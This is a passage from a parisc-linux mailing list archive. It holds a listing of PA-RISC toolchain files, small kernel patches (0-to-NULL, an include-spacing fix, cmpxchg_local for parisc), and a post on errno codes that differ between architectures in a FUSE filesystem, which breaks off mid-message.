-rw-rw-r-- mrw/genedata     6424 1999-04-17 09:38 parisc/binaries/tgz/bootstrap_4.bin.gz
-rw-r--r-- mrw/genedata  1706806 1999-04-30 21:06 parisc/binaries/tgz/egcs-x-parisc-linux-1.1.1-9.tar.gz
drwxr-xr-x mrw/genedata        0 1999-04-30 21:06 parisc/binaries/tgz/old/
-rw-rw-r-- mrw/genedata  1252946 1999-04-17 10:00 parisc/binaries/tgz/old/binutils-x-hppa-2.9.1-5.tar.gz
-rw-r--r-- mrw/genedata  1923606 1999-04-30 14:26 parisc/binaries/tgz/old/binutils-x-parisc-linux-2.9.1-10.tar.gz
-rw-rw-r-- mrw/genedata  1774210 1999-04-17 10:01 parisc/binaries/tgz/old/egcs-x-hppa-linux-1.1.1-4.tar.gz
-rw-rw-r-- mrw/genedata    18352 1999-04-17 10:03 parisc/binaries/tgz/rbootd-2.0-2.tar.gz
drwxrwxr-x mrw/genedata        0 1999-06-20 09:43 parisc/src/
-rw-rw-r-- mrw/genedata    20426 1999-06-20 09:43 parisc/src/boot_rel_0.2.tar.gz

-- 
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yoann Padioleau <padator@wanadoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 11/68] 0 -> NULL, for arch/parisc
Date: Fri, 27 Jul 2007 11:45:05 +0200 (MEST)
Lines: 52
Approved: news@gmane.org
Message-ID: <200707270945.LAA17250__26185.7494399466$1416624640$gmane$org@ifs.emn.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624640 28464 80.91.229.3 (22 Nov 2014 02:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:40 +0000 (UTC)
Cc: matthew@wil.cx,
 linux-kernel@vger.kernel.org,
 akpm@linux-foundation.org,
 parisc-linux@parisc-linux.org
To: kernel-janitors@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jul 2007 00:53:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 30 Jul 2007 02:53:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 121E27DD60;
	Sun, 29 Jul 2007 18:53:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17658-10; Sun, 29 Jul 2007 18:53:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C91C67DD61;
	Sun, 29 Jul 2007 18:53:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D3037DCDC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Jul 2007 04:22:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27584-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Jul 2007 04:22:52 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E17757DCD6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Jul 2007 04:22:51 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id BF65849400A; Fri, 27 Jul 2007 04:22:50 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 2103 seconds by postgrey-1.27 at palinux;
	Fri, 27 Jul 2007 04:22:05 MDT
Original-Received: from ron.emn.fr (sicnat3.emn.fr [193.54.76.194])
	by mail.parisc-linux.org (Postfix) with ESMTP id 93036494003;
	Fri, 27 Jul 2007 04:22:04 -0600 (MDT)
Original-Received: from scaneleve.eleve.emn.fr (IDENT:0@scaneleve.eleve.emn.fr
	[193.54.77.118])
	by ron.emn.fr (8.9.3/jtpda-5.3.1) with ESMTP id LAA22611
	; Fri, 27 Jul 2007 11:44:51 +0200 (CEST)
Original-Received: from ifs.emn.fr (ifs.emn.fr [193.54.76.100])
	by scaneleve.eleve.emn.fr (8.13.8/8.12.1) with ESMTP id l6R9ivvZ021045; 
	Fri, 27 Jul 2007 11:44:57 +0200
Original-Received: from localhost.localdomain (pad@dhcp82.rech18.emn.fr [192.168.18.82])
	by ifs.emn.fr (8.9.3/jtpda-5.1) with ESMTP id LAA17250
	; Fri, 27 Jul 2007 11:45:05 +0200 (MEST)
X-Virus-Scanned: ClamAV 0.91.1/3779/Thu Jul 26 21:33:22 2007 on
	scaneleve.eleve.emn.fr
X-Virus-Status: Clean
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sun, 29 Jul 2007 18:53:41 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lA+efnwbMmAobLSZZGFnlZoxMjQ1N51K
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25439


When comparing a pointer, it's clearer to compare it to NULL than to 0.

Here is an excerpt of the semantic patch: 

@@
expression *E;
@@

  E ==
- 0
+ NULL

@@
expression *E;
@@

  E !=
- 0
+ NULL

Signed-off-by: Yoann Padioleau <padator@wanadoo.fr>
Cc: matthew@wil.cx
Cc: grundler@parisc-linux.org
Cc: kyle@parisc-linux.org
Cc: parisc-linux@parisc-linux.org
Cc: akpm@linux-foundation.org
---

 smp.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 04c7e1d..16fccbe 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -333,7 +333,7 @@ smp_call_function (void (*func) (void *i
 
 	if (retry) {
 		spin_lock (&lock);
-		while (smp_call_function_data != 0)
+		while (smp_call_function_data != NULL)
 			barrier();
 	}
 	else {

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Piotrowski <michal.k.k.piotrowski@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC][PATCH] Coding style fix
	include/asm-parisc/compat_rt_sigframe.h
Date: Wed, 01 Aug 2007 16:55:00 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <46B09EC4.2010704__1644.91336695409$1416624640$gmane$org@googlemail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-2
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624640 28472 80.91.229.3 (22 Nov 2014 02:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:40 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
 Matthew Wilcox <matthew@wil.cx>,
 Grant Grundler <grundler@parisc-linux.org>,
 Kyle McMartin <kyle@parisc-linux.org>,
 parisc-linux@parisc-linux.org,
 LKML <linux-kernel@vger.kernel.org>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Aug 2007 15:36:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 11 Aug 2007 17:36:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D250A7DCC4;
	Sat, 11 Aug 2007 09:36:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13917-07; Sat, 11 Aug 2007 09:36:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B5687DC26;
	Sat, 11 Aug 2007 09:35:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9095D7DD1F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Aug 2007 08:55:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24819-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Aug 2007 08:55:30 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C52967DD11
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Aug 2007 08:55:30 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 7B6E7494003; Wed,  1 Aug 2007 08:55:30 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188])
	by mail.parisc-linux.org (Postfix) with ESMTP id 25DD6494022
	for <parisc-linux@parisc-linux.org>;
	Wed,  1 Aug 2007 08:55:29 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id g16so63130nfd
	for <parisc-linux@parisc-linux.org>;
	Wed, 01 Aug 2007 07:55:28 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:user-agent:mime-version:to:subject:x-enigmail-version:content-type:content-transfer-encoding:from;
	b=TvX7HOn+anfBN4WnZGfWIcSyrAGowsE/XX8kPl3PcJL9U3113MVpKWF59VtPrabE67n4OR1DRCUTqmzQPjnqTYg1RFo2WscW4GF9J5zVPOrfFpRyNn5bmxaLSE9jV5lq6YwI3GQG29HTGFF7+04uUCX2GJRgKGQslMGp/OgO/+M=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:user-agent:mime-version:to:subject:x-enigmail-version:content-type:content-transfer-encoding:from;
	b=ZgaXBYNRVDoCsurJZ0EVsoI1zeFVSrsQy5lhf2fAXrvVmUTSOpJy1G82k7NeZYoCNswlCLyBXOzuLaG2lIdq/bIFf7NNKUcAOb26XHQ+JNowDz+QSQe4sKm6zez1t2ej1O0BrYVMTTOefGJXewbEjKla+63jESKljkyIZwpCc+E=
Original-Received: by 10.86.58.3 with SMTP id g3mr596205fga.1185980128435;
	Wed, 01 Aug 2007 07:55:28 -0700 (PDT)
Original-Received: from ?192.168.1.70? ( [217.97.160.3])
	by mx.google.com with ESMTPS id 22sm1649964fkr.2007.08.01.07.55.25
	(version=TLSv1/SSLv3 cipher=RC4-MD5);
	Wed, 01 Aug 2007 07:55:26 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.5 (X11/20070719)
X-Enigmail-Version: 0.95.2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sat, 11 Aug 2007 09:35:56 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Uu+Ld481YmYTTenCanc3u95KWkZTQdS3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25440

Hi,

Coding style fix

Regards,
Michal

--
LOG
http://www.stardust.webpages.pl/log/

Signed-off-by: Michal Piotrowski <michal.k.k.piotrowski@gmail.com>

--- linux-mm-clean/include/asm-parisc/compat_rt_sigframe.h	2007-07-09 01:32:17.000000000 +0200
+++ linux-mm/include/asm-parisc/compat_rt_sigframe.h	2007-08-01 16:51:57.000000000 +0200
@@ -1,6 +1,6 @@
-#include<linux/compat.h>
-#include<linux/compat_siginfo.h>
-#include<asm/compat_ucontext.h>
+#include <linux/compat.h>
+#include <linux/compat_siginfo.h>
+#include <asm/compat_ucontext.h>
 
 #ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
 #define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch 15/23] Add cmpxchg_local to parisc
Date: Mon, 20 Aug 2007 16:15:34 -0400
Lines: 61
Approved: news@gmane.org
Message-ID: <20070820201828.584607454__12627.8623509736$1416624641$gmane$org@polymtl.ca>
References: <20070820201519.512791382@polymtl.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624641 28478 80.91.229.3 (22 Nov 2014 02:50:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:41 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>,
 clameter@sgi.com
To: akpm@linux-foundation.org,
 linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2007 16:03:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx098) with SMTP; 26 Aug 2007 18:03:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B613F7DAD3;
	Sun, 26 Aug 2007 10:03:07 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hFpTBe5CrW+h; Sun, 26 Aug 2007 10:03:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 103917DAD4;
	Sun, 26 Aug 2007 10:02:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17DEC7DCB9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Aug 2007 14:51:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16541-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Aug 2007 14:51:34 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5E17A7DC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 20 Aug 2007 14:51:34 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 1161E494007; Mon, 20 Aug 2007 14:51:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.polymtl.ca (smtp.polymtl.ca [132.207.4.11])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "smtp.polymtl.ca", Issuer "Ca_Cert_Smtp_Poly" (not verified))
	by mail.parisc-linux.org (Postfix) with ESMTP id D331C494006
	for <parisc-linux@parisc-linux.org>;
	Mon, 20 Aug 2007 14:51:33 -0600 (MDT)
Original-Received: from dijkstra.casi.polymtl.ca (dijkstra.casi.polymtl.ca
	[132.207.72.10])
	by smtp.polymtl.ca (8.13.6/8.13.6) with ESMTP id l7KKpHxN020122
	(version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NOT);
	Mon, 20 Aug 2007 16:51:18 -0400
Original-Received: from compudj by dijkstra.casi.polymtl.ca with local (Exim 4.63)
	(envelope-from <mathieu.desnoyers@polymtl.ca>)
	id 1INDhk-0005PI-Sn; Mon, 20 Aug 2007 16:18:28 -0400
User-Agent: quilt/0.46-1
Content-Disposition: inline; filename=add-cmpxchg-local-to-parisc.patch
X-Poly-FromMTA: (dijkstra.casi.polymtl.ca [132.207.72.10]) at Mon,
	20 Aug 2007 20:51:17 +0000
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sun, 26 Aug 2007 10:02:23 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c5boc+lieWU6YLeUfHVzXis5U3U4N88d
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25441

Use the new generic cmpxchg_local (disables interrupt). Also use the generic
cmpxchg as fallback if SMP is not set.

Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
CC: clameter@sgi.com
CC: parisc-linux@parisc-linux.org
---
 include/asm-parisc/atomic.h |   29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

Index: linux-2.6-lttng/include/asm-parisc/atomic.h
===================================================================
--- linux-2.6-lttng.orig/include/asm-parisc/atomic.h	2007-07-20 19:44:40.000000000 -0400
+++ linux-2.6-lttng/include/asm-parisc/atomic.h	2007-07-20 19:44:47.000000000 -0400
@@ -122,6 +122,35 @@ __cmpxchg(volatile void *ptr, unsigned l
 				    (unsigned long)_n_, sizeof(*(ptr))); \
   })
 
+#include <asm-generic/cmpxchg-local.h>
+
+static inline unsigned long __cmpxchg_local(volatile void *ptr,
+				      unsigned long old,
+				      unsigned long new_, int size)
+{
+	switch (size) {
+#ifdef CONFIG_64BIT
+	case 8:	return __cmpxchg_u64((unsigned long *)ptr, old, new_);
+#endif
+	case 4:	return __cmpxchg_u32(ptr, old, new_);
+	default:
+		return __cmpxchg_local_generic(ptr, old, new_, size);
+	}
+}
+
+/*
+ * cmpxchg_local and cmpxchg64_local are atomic wrt current CPU. Always make
+ * them available.
+ */
+#define cmpxchg_local(ptr,o,n)					  	\
+     (__typeof__(*(ptr)))__cmpxchg_local((ptr), (unsigned long)(o),	\
+			   	 (unsigned long)(n), sizeof(*(ptr)))
+#ifdef CONFIG_64BIT
+#define cmpxchg64_local(ptr,o,n) cmpxchg_local((ptr), (o), (n))
+#else
+#define cmpxchg64_local(ptr,o,n) __cmpxchg64_local_generic((ptr), (o), (n))
+#endif
+
 /* Note that we need not lock read accesses - aligned word writes/reads
  * are atomic, so a reader never sees unconsistent values.
  *

-- 
Mathieu Desnoyers
Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan Engelhardt <jengelh@computergmbh.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] errno codes intertwined
Date: Fri, 24 Aug 2007 18:24:48 +0200 (CEST)
Lines: 54
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0708241815540.28540__897.125181700353$1416624641$gmane$org@fbirervta.pbzchgretzou.qr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624641 28479 80.91.229.3 (22 Nov 2014 02:50:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:41 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
 parisc-linux@parisc-linux.org
To: sparclinux@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2007 16:03:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 26 Aug 2007 18:03:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFF647DB56;
	Sun, 26 Aug 2007 10:03:51 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qMBUWk3kSUMR; Sun, 26 Aug 2007 10:03:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC4E27DAE4;
	Sun, 26 Aug 2007 10:02:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CDB047D7BE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Aug 2007 10:52:37 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DKiDAthbeJ12 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Aug 2007 10:52:25 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3A51C7D7B5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Aug 2007 10:52:25 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id F1843494009; Fri, 24 Aug 2007 10:52:24 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 1653 seconds by postgrey-1.27 at palinux;
	Fri, 24 Aug 2007 10:52:24 MDT
Original-Received: from sovereign.computergmbh.de (sovereign.computergmbh.de
	[85.214.69.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id 8FC6E494006
	for <parisc-linux@parisc-linux.org>;
	Fri, 24 Aug 2007 10:52:24 -0600 (MDT)
Original-Received: by sovereign.computergmbh.de (Postfix, from userid 25121)
	id A510E180AF34E; Fri, 24 Aug 2007 18:24:48 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by sovereign.computergmbh.de (Postfix) with ESMTP id 9EA2D1CD350DB;
	Fri, 24 Aug 2007 18:24:48 +0200 (CEST)
X-Mailman-Approved-At: Sun, 26 Aug 2007 10:02:23 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VpbicrhmX1VoOOuYY2FyGFF3SDc4NEyy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25442

Hello lists,


I am currently working on a FUSE-based filesystem much like nfs/sshfs. 
I pass the syscall on to the storage server, where it is executed, and 
get back the result, or errno code. Let's jump into the real world 
example where the storage unit is x86_64 and the mount side is 
sparc/sparc64, and the syscall is getxattr.

If a file does not have the requested attribute, the syscall will 
produce ENODATA. On x86_64, that is mapped to the value 61. Back on the 
sparc side, 61 is mapped to ECONNREFUSED, and that gives odd errors 
when ls tries to query xattrs:

18:20 sun:../ccgfs/src # ls -dl /home/profile
ls: /home/profile: Connection refused
drwx------ 13 cf users 4096 Aug 24 16:05 /home/profile

Just a grep away, this came up:

